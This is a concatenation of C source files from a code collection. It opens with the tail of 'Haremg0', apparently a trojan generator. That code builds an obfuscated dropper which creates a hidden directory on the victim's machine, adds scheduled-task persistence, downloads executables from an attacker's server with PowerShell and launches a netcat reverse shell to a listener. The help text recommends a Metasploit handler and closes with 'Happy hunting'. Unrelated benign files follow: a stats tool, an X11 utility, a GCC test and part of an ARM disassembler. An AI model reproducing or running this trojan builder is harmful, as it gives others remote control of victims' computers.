strcat(source_code, ").c_str());\nreturn 0;\n}");
fputs(source_code, c_TMP);
fclose(c_TMP);
}
void generatePayload(char *victim_dir, char *file_provider, char *first_file_provided, char *second_file_provided, char *task_state, char *task_name, char *task_trigger, char *payload_name)
{
char cmd_PAYLOAD[2000];
cmd_PAYLOAD[0] = '\0';
strcat(cmd_PAYLOAD, "c: & cd / & mkdir ");
strcat(cmd_PAYLOAD, victim_dir);
strcat(cmd_PAYLOAD, " & cd ");
strcat(cmd_PAYLOAD, victim_dir);
if (strcmp(task_state, "y") == 0 || strcmp(task_state, "Y") == 0)
{
strcat(cmd_PAYLOAD, " & schtasks /create /tn ");
strcat(cmd_PAYLOAD, task_name);
strcat(cmd_PAYLOAD, " /tr ");
strcat(cmd_PAYLOAD, victim_dir);
strcat(cmd_PAYLOAD, "/");
strcat(cmd_PAYLOAD, first_file_provided);
strcat(cmd_PAYLOAD, ".exe ");
strcat(cmd_PAYLOAD, task_trigger);
strcat(cmd_PAYLOAD, " /f ");
}
strcat(cmd_PAYLOAD, "& powershell.exe (wget 'http://");
strcat(cmd_PAYLOAD, file_provider);
strcat(cmd_PAYLOAD, "/");
strcat(cmd_PAYLOAD, first_file_provided);
strcat(cmd_PAYLOAD, ".exe' -OutFile ");
strcat(cmd_PAYLOAD, first_file_provided);
strcat(cmd_PAYLOAD, ".exe) & powershell.exe (wget 'http://");
strcat(cmd_PAYLOAD, file_provider);
strcat(cmd_PAYLOAD, "/");
strcat(cmd_PAYLOAD, second_file_provided);
strcat(cmd_PAYLOAD, ".exe' -OutFile ");
strcat(cmd_PAYLOAD, second_file_provided);
strcat(cmd_PAYLOAD, ".exe) & ");
strcat(cmd_PAYLOAD, first_file_provided);
strcat(cmd_PAYLOAD, ".exe & exit");
obfuscate("c_TMP_PAYLOAD.cpp", cmd_PAYLOAD);
compile("c_TMP_PAYLOAD.cpp", payload_name, "PAYLOAD");
}
void generateExtension(char *victim_dir, char *host, char *port, char *second_file_provided, char *first_file_provided)
{
char cmd_EXTENSION[2000];
cmd_EXTENSION[0] = '\0';
strcat(cmd_EXTENSION, "START /MIN ");
strcat(cmd_EXTENSION, victim_dir);
strcat(cmd_EXTENSION, "/");
strcat(cmd_EXTENSION, second_file_provided);
strcat(cmd_EXTENSION, ".exe ");
strcat(cmd_EXTENSION, host);
strcat(cmd_EXTENSION, " ");
strcat(cmd_EXTENSION, port);
strcat(cmd_EXTENSION, " -e cmd.exe -d ^");
obfuscate("c_TMP_EXTENSION.cpp", cmd_EXTENSION);
compile("c_TMP_EXTENSION.cpp", first_file_provided, "FILE_A");
}
void generateNc(char *second_file_provided)
{
char cmd_NC[2000];
cmd_NC[0] = '\0';
printf("Creating %s ...\n", second_file_provided);
strcat(cmd_NC, "gcc -w -DNDEBUG -DWIN32 -D_CONSOLE -DTELNET -DGAPING_SECURITY_HOLE RES/SRC/NC/getopt.c RES/SRC/NC/doexec.c RES/SRC/NC/netcat.c -s -lkernel32 -luser32 -lwsock32 -lwinmm -o OUTPUT/");
strcat(cmd_NC, second_file_provided);
strcat(cmd_NC, ".exe");
system(cmd_NC);
sleep(1);
}
int main(int argc, char **argv)
{
srand(time(NULL));
printf(".___.__ .______ .______ ._______._____.___ ._____ \n");
printf(": | \\ : \\ : __ \\ : .____/: |:_ ___\\ \n");
printf("| : || . || \\____|| : _/\\ | \\ / || |___\n");
printf("| . || : || : \\ | / \\| |\\/ || / |\n");
printf("|___| ||___| || |___\\|_.: __/|___| | ||. __ |\n");
printf(" |___| |___||___| :/ |___| :/ |. |\n");
printf(" : :/ \n");
printf(" Created by mickdec. https://github.com/mickdec/Haremg0.B-cl\n\n");
char payload_name[200] = "PAYLOAD";
char choice[10];
char victim_dir[255];
char file_provider[255];
char first_file_provided[255];
char second_file_provided[255];
char host[255];
char port[255];
char task_name[255];
char task_state[255];
char task_trigger[255];
char task_number[255];
int cli_mode_enabled = 0;
int p = 0;
int h = 0;
int s = 0;
if (argc == 7)
{
if (argv[1][0] == '-' && argv[1][1] == 's')
{
strcpy(file_provider, argv[2]);
s = 1;
}
else if (argv[1][0] == '-' && argv[1][1] == 'h')
{
strcpy(host, argv[2]);
h = 1;
}
else if (argv[1][0] == '-' && argv[1][1] == 'p')
{
strcpy(port, argv[2]);
p = 1;
}
if (argv[3][0] == '-' && argv[3][1] == 's' && s == 0)
{
strcpy(file_provider, argv[4]);
s = 1;
}
else if (argv[3][0] == '-' && argv[3][1] == 'h' && h == 0)
{
strcpy(host, argv[4]);
h = 1;
}
else if (argv[3][0] == '-' && argv[3][1] == 'p' && p == 0)
{
strcpy(port, argv[4]);
p = 1;
}
if (argv[5][0] == '-' && argv[5][1] == 'p' && s == 0)
{
strcpy(file_provider, argv[6]);
}
else if (argv[5][0] == '-' && argv[5][1] == 'h' && h == 0)
{
strcpy(host, argv[6]);
}
else if (argv[5][0] == '-' && argv[5][1] == 'p' && p == 0)
{
strcpy(port, argv[6]);
}
if (strlen(file_provider) > 0 && strlen(host) > 0 && strlen(port) > 0)
{
cli_mode_enabled = 1;
}
else
{
printf("Input Error.");
return 0;
}
}
if (cli_mode_enabled == 0)
{
while (strcmp(choice, "y") != 0 || strcmp(choice, "Y") != 0 || strcmp(choice, "n") == 0 || strcmp(choice, "N") == 0)
{
get("Do you want to do a full config ? [y/n] (type h hor help) : ", choice, 10);
if (strcmp(choice, "h") == 0 || strcmp(choice, "H") == 0)
{
printf("\nHaremg0 will automate the creation of trojan, you can edit everything instead of the system code who's sended to the victim.\nBefore lauching this application, please beware of some importants things :\n\n 1 - You will need an external server. in local or in WAN, it doesnt matter (if the victim is not in your local server network of course it can't access to the file ...)\n Apache, nginx, anything, if you can share files trough the IP it's fine. (Example : 10.0.0.1) you can provide your domain name of course.\n\n 2 - You will need a Listener, a server who listen for TCP connection. it could be a NodeJS server, a C server, it doesnt matter too.\n Of course it will be usefull if you can PIPE the cmd stdin for interacting with the \"victim\" i prefer a metasploit listener.\n Just use \"multi/handler\" set the payload \"windows\\shell\\reverse_tcp\\\", define your PORT and it will be fine.\n\nHaremg0 can be used as a CLI :\n -s (server) : Define your file provider server (ex : 10.0.0.1)\n -h (host) : Define your Listener IP address (ex : 10.0.0.1)\n -p (port) : Define your Listener port (ex : 445)\nExample :\n Haremg0.exe -s 10.0.0.1 -h 10.0.0.1 -p 5000\n\nBy default without options, it will launch the GUI.\n\n\nNow, you can edit the icons of the two files who will be created, juste paste your desired ico here : \"RES/SRC\"\nJust please be sure to respect the name of the ICO files \"FILE_A.ico\" and \"PAYLOAD.ico\".\n\nFor source code version only :\nYou can compile the generator using gcc, i have made a little bat file here \"RES/SRC\\\"\n\n");
}
else
{
if (strcmp(choice, "y") == 0 || strcmp(choice, "Y") == 0)
{
get("Please enter the dir you want to create to the victim [default : 'C:\\System']: ", victim_dir, 255);
if (strlen(victim_dir) == 0)
{
strcpy(victim_dir, "C:\\System");
}
get("Do you want to create a tasksystem ? [y/n]", task_state, 255);
if (strcmp(task_state, "y") == 0 || strcmp(task_state, "Y") == 0)
{
get("Please enter the name for the system task you want to create to the victim [default : 'TaskSystem']: ", task_name, 255);
if (strlen(task_name) == 0)
{
strcpy(task_name, "TaskSystem");
}
while (strcmp(task_trigger, "1") != 0 || strcmp(task_trigger, "2") != 0 || strcmp(task_trigger, "3") == 0 || strcmp(task_trigger, "4") == 0 || strcmp(task_trigger, "5") == 0 || strcmp(task_trigger, "6") == 0)
{
printf("1 - MINUTE - Run the task on specified minutes.\n");
printf("2 - HOURLY - Run the task on specified hours.\n");
printf("3 - DAILY - Run the task on specified day.\n");
printf("4 - ONSTART - Run the task on startup.\n");
printf("5 - ONLOGON - Run the task on longon.\n");
printf("6 - ONIDLE - Run the task on idle.\n");
get("Please enter the time of recursive call for the system task you want to create to the victim [default : 'minutes']: ", task_trigger, 255);
if (strlen(task_trigger) == 0)
{
strcpy(task_trigger, "/sc minute /MO 1");
break;
}
else if (strcmp(task_trigger, "1") == 0)
{
strcpy(task_trigger, "/sc minute /MO ");
get("How many minutes ? : ", task_number, 10);
strcat(task_trigger, task_number);
break;
}
else if (strcmp(task_trigger, "2") == 0)
{
strcpy(task_trigger, "/sc hour /MO ");
get("How many hours ? : ", task_number, 10);
strcat(task_trigger, task_number);
break;
}
else if (strcmp(task_trigger, "3") == 0)
{
strcpy(task_trigger, "/sc daily /MO ");
get("How many days ? : ", task_number, 10);
strcat(task_trigger, task_number);
break;
}
else if (strcmp(task_trigger, "4") == 0)
{
strcpy(task_trigger, "/SC ONSTART");
break;
}
else if (strcmp(task_trigger, "5") == 0)
{
strcpy(task_trigger, "/SC ONLOGON");
break;
}
else if (strcmp(task_trigger, "6") == 0)
{
strcpy(task_trigger, "/sc onidle /I ");
get("How many idle time ? : ", task_number, 10);
strcat(task_trigger, task_number);
break;
}
}
}
get("Please enter your server (who provide the files) adress [example : 10.0.0.1/RES or provider.com]: ", file_provider, 255);
while (strlen(file_provider) == 0)
{
get("Please enter your file provider adress [example : 10.0.0.1/RES or provider.com]: ", file_provider, 255);
}
get("Please enter the first file your file provider will serve [example : FileA]: ", first_file_provided, 255);
while (strlen(first_file_provided) == 0)
{
get("Please enter the first file your file provider will serve [example : FileA]: ", first_file_provided, 255);
}
get("Please enter the second file your file provider will serve [example : FileB]: ", second_file_provided, 255);
while (strlen(second_file_provided) == 0)
{
get("Please enter the second file your file provider will serve [example : FileB]: ", second_file_provided, 255);
}
get("Please enter your listener IP [example : 10.0.0.1]: ", host, 25);
while (strlen(host) == 0)
{
get("Please enter your listener IP [example : 10.0.0.1]: ", host, 25);
}
get("Please enter your listener PORT [default : 4444]: ", port, 10);
while (strlen(port) == 0)
{
strcpy(port, "4444");
}
break;
}
else if (strcmp(choice, "n") == 0 || strcmp(choice, "N") == 0)
{
strcpy(victim_dir, "C:\\System");
strcpy(first_file_provided, "FILE_A");
strcpy(second_file_provided, "FILE_B");
strcpy(task_name, "TaskSystem");
strcpy(task_trigger, "/sc minute /mo 5");
get("Please enter your file provider adress [example : 10.0.0.1/RES or provider.com]: ", file_provider, 255);
while (strlen(file_provider) == 0)
{
get("Please enter your file provider adress [example : 10.0.0.1/RES or provider.com]: ", file_provider, 255);
}
get("Please enter your listener IP [example : 10.0.0.1]: ", host, 25);
while (strlen(host) == 0)
{
get("Please enter your listener IP [example : 10.0.0.1]: ", host, 25);
}
get("Please enter your listener PORT [default : 4444]: ", port, 10);
while (strlen(port) == 0)
{
strcpy(port, "4444");
}
break;
}
}
}
}
else
{
strcpy(victim_dir, "C:\\System");
strcpy(first_file_provided, "FILE_A");
strcpy(second_file_provided, "FILE_B");
strcpy(task_name, "TaskSystem");
strcpy(task_trigger, "/sc minute /mo 5");
}
printf("CREATED DIR : %s\n", victim_dir);
printf("FILE PROVIDER IP : %s\n", file_provider);
printf("FILES PROVIDED : %s and %s\n", first_file_provided, second_file_provided);
printf("HOST PROVIDED : %s\n", host);
printf("PORT PROVIDED : %s\n", port);
printf("CREATING TASK : %s\n", task_state);
generatePayload(victim_dir, file_provider, first_file_provided, second_file_provided, task_state, task_name, task_trigger, payload_name);
generateExtension(victim_dir, host, port, second_file_provided, first_file_provided);
generateNc(second_file_provided);
printf("Now you just have to place %s.exe and %s.exe here %s, share %s.exe and start your listener.\nHappy hunting !!", first_file_provided, second_file_provided, file_provider, payload_name);
scanf("%d");
return 0;
} |
the_stack_data/122824.c | #include <stdio.h>
int main()
{
int a[100001]={0},n,i=0,x,k;
scanf("%d",&n);
while(i<n)
{
scanf("%d",&x);
a[x]=a[x]+1;
i++;
}
scanf("%d",&k);
for(i=100000;k>1;i--)
{
if(a[i]!=0)
{
k--;
}
}
printf("%d %d\n",i,a[i]);
return 0;
} |
the_stack_data/64319.c | #include <X11/Xatom.h>
#include <X11/Xlib.h>
#include <X11/Xproto.h>
#include <X11/Xutil.h>
#include <stdio.h>
#include <stdlib.h>
#define DIE(...) do { fprintf(stderr, __VA_ARGS__); exit(1); } while(0)
int main(int argc, char** argv) {
Display* d = XOpenDisplay(NULL);
if (argc < 2) {
DIE("Usage: %s DecimalWindowID\nE.g.: %s $((0xc89632))\nPrints the specified client\'s WM_NAME using XFetchName", argv[0],argv[0]);
}
unsigned int window = atoi(argv[1]);
char* name = NULL;
if (XFetchName(d, window, &name) == 0) {
DIE("Can not read name from 0x%x\n", window);
}
printf("%s\n", name);
XFree(name);
return 0;
}
|
the_stack_data/70449170.c | #include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define thisprog "xe-statsgrp1"
#define thisprog "xe-statsgrp2"
#define TITLE_STRING thisprog" v 9: 29.April.2019 [JRH]"
/*
<TAGS>math stats</TAGS>
v 9: 29.April.2019 [JRH]
- rework so "grep -vE" can be used to generate code for xe-statsgroup2 and xe-statsgroup1 from xe-statsgroup3
grep -vE 'grp2|cg2' xe-statsgrp2.c > xe-statsgrp1.c
VALIDATION:
in1=/opt/LDAS/docs/sample_data/sample_group_x_time.txt
list1=$(xe-cut1 $in1 subject -o 1 | sort -nu)
list2=$(xe-cut1 $in1 group -o 1 | sort -nu)
list3=$(xe-cut1 $in1 dname -o 1 | sort -nu)
for i in $list1 ; do for j in $list2 ; do for k in $list3 ; do xe-dbmatch1 $in1 subject $i | xe-dbmatch1 stdin group $j | xe-dbmatch1 stdin dname $k | xe-cut1 stdin gamma -o 1 | xe-statsd1 stdin | xe-getkey stdin MEAN | awk '{print "'$i'\t'$j'\t'$k'\t",$1}' ; done ; done ; done
...compare with...
v 9: 28.April.2019 [JRH]
- bugfix: check for finite data before adding it to the temporary data array
- bugfix: initialize results to NAN before calling stats function
- use xf_lineread1 and xf_lineparse2 so there is no limit to line-length
- add checks for valid column-specification
v 8: 4.April.2019 [JRH]
- use newer variable naming conventions
- retire unused word, bin setlow, sethigh, grp variables
- upgrade group-variables to double
- fix instructions
v 8: 5.May.2013 [JRH]
- update usage of qsort to call external compare function xf_compare1_d
v 7: 10.February.2013 [JRH]
- bugfix - previous versions omitted header for group3
- remove leading blank line from output
v 6: 15.January.2013 [JRH]
- bugfix - switched from double compare function to float compare function, as appropriate for floating point precision grouping variables
- this led to some pretty bizarre output previously!
v 5: 3.December.2012 [JRH]
- switch to using built-in qsort function
- retire unused word, and bin variables
v 4: 28.October.2012 [JRH]
- bugfix - was doubling output from first group, because "a" was being initialized to grp[0] instead of listgrp[0] before eliminating duplicates in listgrp[]
v 3: 28.September.2012 [JRH]
v 2: 24.September.2012 [JRH]
resolve a few minor memory allocation and freeing issues
v 1: 9.September.2012 [JRH]
A program to calculate stats on a variable using 3 grouping variable
NOTE: I tried having flexible column-numbers - just too complicated for data storage esp. if we want to pipe input to the program
*/
/* external functions start */
char *xf_lineread1(char *line, long *maxlinelen, FILE *fpin);
long *xf_lineparse2(char *line,char *delimiters, long *nwords);
void xf_stats2_d(double *data, long n, int varcalc, double *result_d);
int xf_compare1_d(const void *a, const void *b);
/* external functions end */
int main (int argc, char *argv[]) {
/* general variables */
char *line=NULL;
long int ii,jj,kk,mm,nn,maxlinelen=0;
double aa,bb,cc,dd,result_d[64];
FILE *fpin;
/* program-specific variables */
double *grp1=NULL,*listgrp1=NULL; long nlistgrp1=0; int sizeofgrp1=sizeof(*grp1); double tempgrp1;
double *grp2=NULL,*listgrp2=NULL; long nlistgrp2=0; int sizeofgrp2=sizeof(*grp2); double tempgrp2;
long nwords=0,*iword=NULL,colmatch;
long ntempdata=0,ngrptot=0;
double *data=NULL,*tempdata=NULL;
int sizeofdata=sizeof(*data);
/* arguments */
char *infile=NULL;
int setgint=0;
long setcolgrp1=1;
long setcolgrp2=2;
long setcoldata;
setcoldata= setcolgrp1+1;
setcoldata= setcolgrp2+1;
/* PRINT INSTRUCTIONS IF THERE IS NO FILENAME SPECIFIED */
if(argc<2) {
fprintf(stderr,"\n");
fprintf(stderr,"----------------------------------------------------------------------\n");
fprintf(stderr,"%s\n",TITLE_STRING);
fprintf(stderr,"----------------------------------------------------------------------\n");
fprintf(stderr,"Calculate stats on a data-column using grouping-columns\n");
fprintf(stderr,"- input must be tab-delimited\n");
fprintf(stderr,"- grouping-variables must be numeric (can be floating-point)\n");
fprintf(stderr,"- non-numeric data-values will be ignored for stats calculations\n");
fprintf(stderr,"\n");
fprintf(stderr,"USAGE: %s [input] [options]\n",thisprog);
fprintf(stderr," [input]: file name or \"stdin\"\n");
fprintf(stderr,"VALID OPTIONS:\n");
fprintf(stderr," -cg1: column defining grouping-variable 1 [%ld]\n",setcolgrp1);
fprintf(stderr," -cg2: column defining grouping-variable 2 [%ld]\n",setcolgrp2);
fprintf(stderr," -cy: column containing dependent variable [%ld]\n",setcoldata);
fprintf(stderr," -gint: output groups as integers? (0=NO 1=YES) [%d]\n",setgint);
fprintf(stderr,"EXAMPLES:\n");
fprintf(stderr," %s data.txt",thisprog);
fprintf(stderr," -cg1 5");
fprintf(stderr," -cg2 7");
fprintf(stderr,"\n");
fprintf(stderr," cat temp.txt | %s stdin -gint 1\n",thisprog);
fprintf(stderr,"OUTPUT:\n");
fprintf(stderr,"\tgrp1");
fprintf(stderr,"\tgrp2");
fprintf(stderr,"\tn mean sd sem ntot\n");
fprintf(stderr,"\n");
fprintf(stderr," NOTE:\n");
fprintf(stderr," ntot= total datapoints for a given group-combination\n");
fprintf(stderr," n= valid numbers contributing to statistical result\n");
fprintf(stderr,"----------------------------------------------------------------------\n");
fprintf(stderr,"\n");
exit(0);
}
/* READ THE FILENAME AND OPTIONAL ARGUMENTS */
infile= argv[1];
for(ii=2;ii<argc;ii++) {
if( *(argv[ii]+0) == '-') {
if((ii+1)>=argc) {fprintf(stderr,"\n--- Error [%s]: missing value for argument \"%s\"\n\n",thisprog,argv[ii]); exit(1);}
else if(strcmp(argv[ii],"-cg1")==0) setcolgrp1= atol(argv[++ii]);
else if(strcmp(argv[ii],"-cg2")==0) setcolgrp2= atol(argv[++ii]);
else if(strcmp(argv[ii],"-cy")==0) setcoldata= atol(argv[++ii]);
else if(strcmp(argv[ii],"-gint")==0) setgint= atoi(argv[++ii]);
else {fprintf(stderr,"\n--- Error [%s]: invalid command line argument \"%s\"\n",thisprog,argv[ii]); exit(1);}
}}
if(setcolgrp1<1) {fprintf(stderr,"\n--- Error [%s]: invalid group column (-cg1 %ld) - must be >0\n",thisprog,setcolgrp1); exit(1);}
if(setcolgrp2<1) {fprintf(stderr,"\n--- Error [%s]: invalid group column (-cg2 %ld) - must be >0\n",thisprog,setcolgrp2); exit(1);}
if(setcoldata<1) {fprintf(stderr,"\n--- Error [%s]: invalid data column (-cy %ld) - must be >0\n",thisprog,setcoldata); exit(1);}
/* DECREMENT COLUMN-NUMBERS SO THEY'RE ZERO-OFFSET */
setcolgrp1--;
setcolgrp2--;
setcoldata--;
/* STORE DATA */
if(strcmp(infile,"stdin")==0) fpin=stdin;
else if((fpin=fopen(infile,"r"))==0) {fprintf(stderr,"\n--- Error [%s]: file \"%s\" not found\n\n",thisprog,infile);exit(1);}
nn=0;
dd=NAN;
tempgrp1=NAN;
tempgrp2=NAN;
while((line=xf_lineread1(line,&maxlinelen,fpin))!=NULL) {
if(maxlinelen==-1) {fprintf(stderr,"\n--- Error [%s]: readline function encountered insufficient memory\n\n",thisprog);exit(1);}
if(line[0]=='#') continue;
/* parse the line & make sure all required columns are present */
iword= xf_lineparse2(line,"\t",&nwords);
if(nwords<0) {fprintf(stderr,"\n--- Error [%s]: lineparse function encountered insufficient memory\n\n",thisprog);exit(1);};
if(
nwords<setcoldata
|| nwords<setcolgrp1
|| nwords<setcolgrp2
) continue;
/* make sure each group-columns are numeric & finite, and convert non-numeric data to NAN */
if(sscanf(line+iword[setcolgrp1],"%lf",&tempgrp1)!=1 || !isfinite(tempgrp1)) continue;
if(sscanf(line+iword[setcolgrp2],"%lf",&tempgrp2)!=1 || !isfinite(tempgrp2)) continue;
if(sscanf(line+iword[setcoldata],"%lf",&dd)!=1) dd=NAN;
else if(!isfinite(dd)) dd=NAN;
/* reallocate memory */
data= realloc(data,(nn+1)*sizeofdata);
grp1= realloc(grp1,(nn+1)*sizeofgrp1);
grp2= realloc(grp2,(nn+1)*sizeofgrp2);
if(
data==NULL
|| grp1==NULL
|| grp2==NULL
) {fprintf(stderr,"\n--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);};
/* assign values */
data[nn]= dd;
grp1[nn]= tempgrp1;
grp2[nn]= tempgrp2;
nn++;
}
if(strcmp(infile,"stdin")!=0) fclose(fpin);
/* ALLOCATE MEMORY FOR LISTS AND TEMPDATA */
listgrp1= realloc(listgrp1,(nn+1)*sizeofgrp1);
listgrp2= realloc(listgrp2,(nn+1)*sizeofgrp2);
tempdata= realloc(tempdata,(nn+1)*sizeofdata);
if(
listgrp1==NULL
|| listgrp2==NULL
) {fprintf(stderr,"\n--- Error [%s]: insufficient memory\n\n",thisprog);exit(1);};
/* CREATE A SORTED LIST OF THE ELEMENTS IN grp1 */
for(ii=0;ii<nn;ii++) listgrp1[ii]= grp1[ii];
qsort(listgrp1,nn,sizeof(double),xf_compare1_d);
/* copy only unique items to new version of listgrp1 */
aa=listgrp1[0]; for(ii=nlistgrp1=1;ii<nn;ii++) {if(listgrp1[ii]!=aa) listgrp1[nlistgrp1++]=listgrp1[ii];aa=listgrp1[ii]; }
/* CREATE A SORTED LIST OF THE ELEMENTS IN grp2 */
for(ii=0;ii<nn;ii++) listgrp2[ii]=grp2[ii];
qsort(listgrp2,nn,sizeof(double),xf_compare1_d);
/* copy only unique items to new version of listgrp2 */
aa=listgrp2[0]; for(ii=nlistgrp2=1;ii<nn;ii++) {if(listgrp2[ii]!=aa) listgrp2[nlistgrp2++]=listgrp2[ii];aa=listgrp2[ii]; }
/* CALCULATE STATS ON DATA IN EACH COMBINATION OF GROUP-CATEGORIES */
printf("grp1\t");
printf("grp2\t");
printf("n\tmean\tsd\tsem\tntot\n");
for(ii=0;ii<nlistgrp1;ii++)
{
//printf("%g\n",listgrp1[ii]);
for(jj=0;jj<nlistgrp2;jj++)
{
//printf("\t%g\n",listgrp2[jj]);
{
ngrptot= 0;
result_d[0]=result_d[2]=result_d[3]= NAN;
/* copy the good data for this category to a temp array */
ntempdata=0;
for(mm=0;mm<nn;mm++) {
if(
grp1[mm]==listgrp1[ii]
&& grp2[mm]==listgrp2[jj]
) {
ngrptot++;
if(isfinite(data[mm])) tempdata[ntempdata++]= data[mm];
}}
if(ngrptot<=0) continue;
/* get stats on the temp array */
if(ntempdata>0) xf_stats2_d(tempdata,ntempdata,2,result_d);
/* output the results */
if(setgint==0) {
printf("%g\t",listgrp1[ii]);
printf("%g\t",listgrp2[jj]);
printf("%ld\t%g\t%g\t%g\t%ld\n",ntempdata,result_d[0],result_d[2],result_d[3],ngrptot);
}
else {
printf("%ld\t",(long)listgrp1[ii]);
printf("%ld\t",(long)listgrp2[jj]);
printf("%ld\t%g\t%g\t%g\t%ld\n",ntempdata,result_d[0],result_d[2],result_d[3],ngrptot);
}
}
}
}
if(line!=NULL) free(line);
if(iword!=NULL) free(iword);
if(grp1!=NULL) free(grp1);
if(grp2!=NULL) free(grp2);
if(listgrp1!=NULL) free(listgrp1);
if(listgrp2!=NULL) free(listgrp2);
if(data!=NULL) free(data);
if(tempdata!=NULL) free(tempdata);
exit(0);
}
|
the_stack_data/117326703.c | /* { dg-do compile } */
/* { dg-require-effective-target arm_arch_v8a_ok */
/* { dg-require-effective-target arm_v8_vfp_ok } */
/* { dg-options "-O2 -mcpu=cortex-a57" } */
/* { dg-add-options arm_v8_vfp } */
double
foo (double x, double y)
{
return __builtin_isunordered (x, y) ? x : y;
}
/* { dg-final { scan-assembler-times "vselvs.f64\td\[0-9\]+" 1 } } */
|
the_stack_data/165766234.c | //===-- ARMDisassembler.cpp - Disassembler for ARM/Thumb ISA --------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
/* Capstone Disassembly Engine */
/* By Nguyen Anh Quynh <[email protected]>, 2013-2014 */
#ifdef CAPSTONE_HAS_ARM
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "../../myinttypes.h"
#include "ARMAddressingModes.h"
#include "ARMBaseInfo.h"
#include "../../MCFixedLenDisassembler.h"
#include "../../MCInst.h"
#include "../../MCInstrDesc.h"
#include "../../MCRegisterInfo.h"
#include "../../LEB128.h"
#include "../../MCDisassembler.h"
#include "../../cs_priv.h"
#include "../../utils.h"
#include "ARMDisassembler.h"
//#define GET_REGINFO_ENUM
//#include "X86GenRegisterInfo.inc"
#define GET_SUBTARGETINFO_ENUM
#include "ARMGenSubtargetInfo.inc"
#define GET_INSTRINFO_MC_DESC
#include "ARMGenInstrInfo.inc"
#define GET_INSTRINFO_ENUM
#include "ARMGenInstrInfo.inc"
static bool ITStatus_push_back(ARM_ITStatus *it, char v)
{
it->ITStates[it->size] = v;
it->size++;
return true;
}
// Returns true if the current instruction is in an IT block
static bool ITStatus_instrInITBlock(ARM_ITStatus *it)
{
//return !ITStates.empty();
return (it->size > 0);
}
// Returns true if current instruction is the last instruction in an IT block
static bool ITStatus_instrLastInITBlock(ARM_ITStatus *it)
{
return (it->size == 1);
}
// Handles the condition code status of instructions in IT blocks
// Returns the condition code for instruction in IT block
static unsigned ITStatus_getITCC(ARM_ITStatus *it)
{
unsigned CC = ARMCC_AL;
if (ITStatus_instrInITBlock(it))
//CC = ITStates.back();
CC = it->ITStates[it->size-1];
return CC;
}
// Advances the IT block state to the next T or E
static void ITStatus_advanceITState(ARM_ITStatus *it)
{
//ITStates.pop_back();
it->size--;
}
// Called when decoding an IT instruction. Sets the IT state for the following
// instructions that for the IT block. Firstcond and Mask correspond to the
// fields in the IT instruction encoding.
static void ITStatus_setITState(ARM_ITStatus *it, char Firstcond, char Mask)
{
// (3 - the number of trailing zeros) is the number of then / else.
unsigned CondBit0 = Firstcond & 1;
unsigned NumTZ = CountTrailingZeros_32(Mask);
unsigned char CCBits = (unsigned char)Firstcond & 0xf;
unsigned Pos;
//assert(NumTZ <= 3 && "Invalid IT mask!");
// push condition codes onto the stack the correct order for the pops
for (Pos = NumTZ+1; Pos <= 3; ++Pos) {
bool T = ((Mask >> Pos) & 1) == (int)CondBit0;
if (T)
ITStatus_push_back(it, CCBits);
else
ITStatus_push_back(it, CCBits ^ 1);
}
ITStatus_push_back(it, CCBits);
}
/// ThumbDisassembler - Thumb disassembler for all Thumb platforms.
static bool Check(DecodeStatus *Out, DecodeStatus In)
{
switch (In) {
case MCDisassembler_Success:
// Out stays the same.
return true;
case MCDisassembler_SoftFail:
*Out = In;
return true;
case MCDisassembler_Fail:
*Out = In;
return false;
default: // never reached
return false;
}
}
// Forward declare these because the autogenerated code will reference them.
// Definitions are further down.
static DecodeStatus DecodeGPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeGPRnopcRegisterClass(MCInst *Inst,
unsigned RegNo, uint64_t Address, const void *Decoder);
static DecodeStatus DecodeGPRwithAPSRRegisterClass(MCInst *Inst,
unsigned RegNo, uint64_t Address, const void *Decoder);
static DecodeStatus DecodetGPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodetcGPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder);
static DecodeStatus DecoderGPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeGPRPairRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeSPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeDPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeDPR_8RegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeDPR_VFP2RegisterClass(MCInst *Inst,
unsigned RegNo, uint64_t Address, const void *Decoder);
static DecodeStatus DecodeQPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeDPairRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeDPairSpacedRegisterClass(MCInst *Inst,
unsigned RegNo, uint64_t Address, const void *Decoder);
static DecodeStatus DecodePredicateOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeCCOutOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeSOImmOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeRegListOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeSPRRegListOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeDPRRegListOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeBitfieldMaskOperand(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeCopMemInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeAddrMode2IdxInstruction(MCInst *Inst,
unsigned Insn, uint64_t Address, const void *Decoder);
static DecodeStatus DecodeSORegMemOperand(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeAddrMode3Instruction(MCInst *Inst,unsigned Insn,
uint64_t Address, const void *Decoder);
static DecodeStatus DecodeSORegImmOperand(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder);
